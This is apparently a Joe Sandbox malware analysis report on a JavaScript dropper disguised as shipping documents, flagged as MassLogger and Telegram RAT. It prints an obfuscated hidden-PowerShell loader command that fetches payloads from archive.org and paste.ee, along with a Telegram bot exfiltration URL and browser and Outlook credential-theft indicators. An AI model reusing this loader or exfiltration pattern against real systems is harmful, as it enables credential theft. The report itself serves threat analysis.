bgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakahiazqb2ag8abab1ahqaaqbvag4aaqb6aguazaapadsajabjahuabab0ahiayqb0aguaiaa9acaawwbtahkacwb0aguabqauafiazqbmagwazqbjahqaaqbvag4algbbahmacwblag0aygbsahkaxqa6adoatabvageazaaoacqabqblag0abwbyageaygbsaguabgblahmacwapadsajabyaguacwbpahqadqbhahqazqbzacaapqagafsazabuagwaaqbiac4asqbpac4asabvag0azqbdac4arwblahqatqblahqaaabvagqakaanafyaqqbjaccakqauaekabgb2ag8aawblacgajabuahuababsacwaiabbag8aygbqaguaywb0afsaxqbdacaaqaaoacqabqb1agwadabpagyababvahiabwb1ahmalaanaccalaanaccalaanaccalaanae0auwbcahuaaqbsagqajwasaccajwasaccajwasaccajwasaccajwasaccaqwa6afwavqbzaguacgbzafwauab1agiababpagmaxabeag8adwbuagwabwbhagqacwanacwajwbxahuazqbyahuababvahuacwbuaguacwbzaguacwanacwajwbqahmajwasaccajwasaccajwasaccaywblag4adabpag0azqb0ahiaaqbjaccalaanadiajwasaccajwapacka' -replace '','';$al
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'jabhagwaygbpagyababvahiabwb1ahmaiaa9acaajwawac8auwa0ahgauqbtafyawgb4ac8azaavaguazqauaguaiwbzageacaavac8aogbzahaaiwajaggajwa7acqabqb1agwadabpagyababvahiabwb1ahmaiaa9acaajabhagwaygbpagyababvahiabwb1ahmaiaatahiazqbwagwayqbjaguaiaanacmajwasacaajwb0accaowakagmabwb6agkabgblahmacwagad0aiaanaggadab0ahaacwa6ac8alwbhahiaywboagkadgblac4abwbyagcalwbkag8adwbuagwabwbhagqalwbuaguadwbfagkabqbhagcazqbfadiamaayaduamaa0adeamwavag4azqb3af8aaqbtageazwblac4aagbwagcajwa7acqababvahuabgbnagkabgbnacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakagwabwb1ag4azwbpag4azwauaegazqbhagqazqbyahmalgbbagqazaaoaccavqbzaguacgataeeazwblag4adaanacwajwbnag8aegbpagwababhac8anqauadaajwapadsajabnagmasqbuahqaaqbyaguaiaa9acaajabsag8adqbuagcaaqbuagcalgbeag8adwbuagwabwbhagqarabhahqayqaoacqaywbvahoaaqbuaguacwbzackaowakag0abwbuag8adabyag8acabpahmabqagad0aiabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakaakae0aywbjag4adabpahiazqapadsajabyaguaywbvag0azgbvahiadabsaguacwbzacaapqagaccapaa8aeiaqqbtaeuanga0af8auwbuaeeaugbuad4apganadsajabuag8azabvagkazaagad0aiaanadwapabcaeeauwbfadyanabfaeuatgbead4apganadsajab1ag4aywbyaguayqb0agkadgblacaapqagacqabqbvag4abwb0ahiabwbwagkacwbtac4asqbuagqazqb4ae8azgaoacqacgblagmabwbtagyabwbyahqabablahmacwapadsajabiaguabgb6ag8adaboagkayqb6agkabgblahmaiaa9acaajabtag8abgbvahqacgbvahaaaqbzag0algbjag4azablahgatwbmacgajabuag8azabvagkazaapadsajab1ag4aywbyaguayqb0agkadgblacaalqbnaguaiaawacaalqbhag4azaagacqaygblag4aegbvahqaaabpageaegbpag4azqbzacaalqbnahqaiaakahuabgbjahiazqbhahqaaqb2aguaowakahuabgbjahiazqbhahqaaqb2aguaiaarad0aiaakahiazqbjag8abqbmag8acgb0agwazqbzahmalgbmaguabgbnahqaaaa7acqasabhahqaaabvahiaiaa9acaajabiaguabgb6ag8adaboagkayqb6agkabgblahmaiaatacaajab1ag4aywbyaguayqb0agkadgbladsajabyaguadgbvagwadqb0agkabwbuagkaegblagqaiaa9acaajabtag8abgbvahqacgbvahaaaqbzag0algbtahuaygbzahqacgbpag4azwaoacqadqbuagmacgblageadabpahyazqasacaajabiageadaboag8acgapadsajabtaguabqbvahiayqbiagwazqbuaguacwbzacaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakahiazqb2ag8abab1ahqaaqbvag4aaqb6aguazaapadsajabjahuabab0ahiayqb0aguaiaa9acaawwbtahkacwb0aguabqauafiazqbmagwazqbjahqaaqbvag4algbbahmacwblag0aygbsahkaxqa6adoatabvageazaaoacqabqblag0abwbyageaygbsaguabgblahmacwapadsajabyaguacwbpahqadqbhahqazqbzacaapqagafsazabuagwaaqbiac4asqbpac4asabvag0azqbdac4arwblahqatqblahqaaabvagqakaanafyaqqbjaccakqauaekabgb2ag8aawblacgajabuahuababsacwaiabbag8aygbqaguaywb0afsaxqbdacaaqaaoacqabqb1agwadabpagyababvahiabwb1ahmalaanaccalaanaccalaanaccalaanae0auwbcahuaaqbsagqajwasaccajwasaccajwasaccajwasaccajwasaccaqwa6afwavqbzaguacgbzafwauab1agiababpagmaxabeag8adwbuagwabwbhagqacwanacwajwbxahuazqbyahuababvahuacwbuaguacwbzaguacwanacwajwbqahmajwasaccajwasaccajwasaccaywblag4adabpag0azqb0ahiaaqbjaccalaanadiajwasaccajwapacka' -replace '','';$al			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2507426885.0000000002959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2f26c05.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.1e8a2e670c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6720, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Native API	32 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shipping Documents SI 694_pdf.js	14%	ReversingLabs
SAMPLE	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
paste.ee	23.186.113.60	true	false	high
archive.org	207.241.224.2	true	false	high
ia801700.us.archive.org	207.241.233.30	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
pki-goog.l.google.com	192.178.49.195	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://ia801700.us.archive.org/6/items/new_image_20250413/new_image.jpg	false	high
http://c.pki.goog/r/r4.crl	false	high
http://paste.ee/d/fa7OMk20/0	false	high
https://archive.org/download/new_image_20250413/new_image.jpg	false	high
http://checkip.dyndns.org/	false	high
https://paste.ee/d/fa7OMk20/0	false	high
https://reallyfreegeoip.org/xml/173.244.56.186	false	high
https://paste.ee/d/xZVSQx4S/0	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	false	high
http://paste.ee	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	false	high
https://archive.org/	powershell.exe, 0000000A.00000002.1577845542.000001E8A9D3F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.orgd	MSBuild.exe, 0000000C.00000002.2507426885.000000000289E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com;	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://analytics.paste.ee	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://paste.ee	powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	MSBuild.exe, 0000000C.00000002.2507426885.0000000002876000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	false	high
https://archive.org	powershell.exe, 0000000A.00000002.1529745429.000001E891D75000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/173.244.56.186l	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.comd	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/173.244.56.186d	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1550336005.000001E8A1BBC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	MSBuild.exe, 0000000C.00000002.2507426885.000000000289E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.orgd	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
https://analytics.paste.ee;	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdnjs.cloudflare.com	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 0000000A.00000002.1529745429.000001E891B51000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdnjs.cloudflare.com;	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/d	MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.1529745429.000001E891B51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002801000.00000004.00000800.00020000.00000000.sdmp	false	high
https://secure.gravatar.com	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://themes.googleusercontent.com	powershell.exe, 0000000A.00000002.1529745429.000001E893D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E891F9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://ia801700.us.archive.org	powershell.exe, 0000000A.00000002.1529745429.000001E891F8B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2507426885.0000000002882000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.186.113.60	paste.ee	Reserved	49466	KLAYER-GLOBALNL	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
207.241.233.30	ia801700.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.224.2	archive.org	United States	7941	INTERNET-ARCHIVEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1676212
Start date and time:	2025-04-28 13:23:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
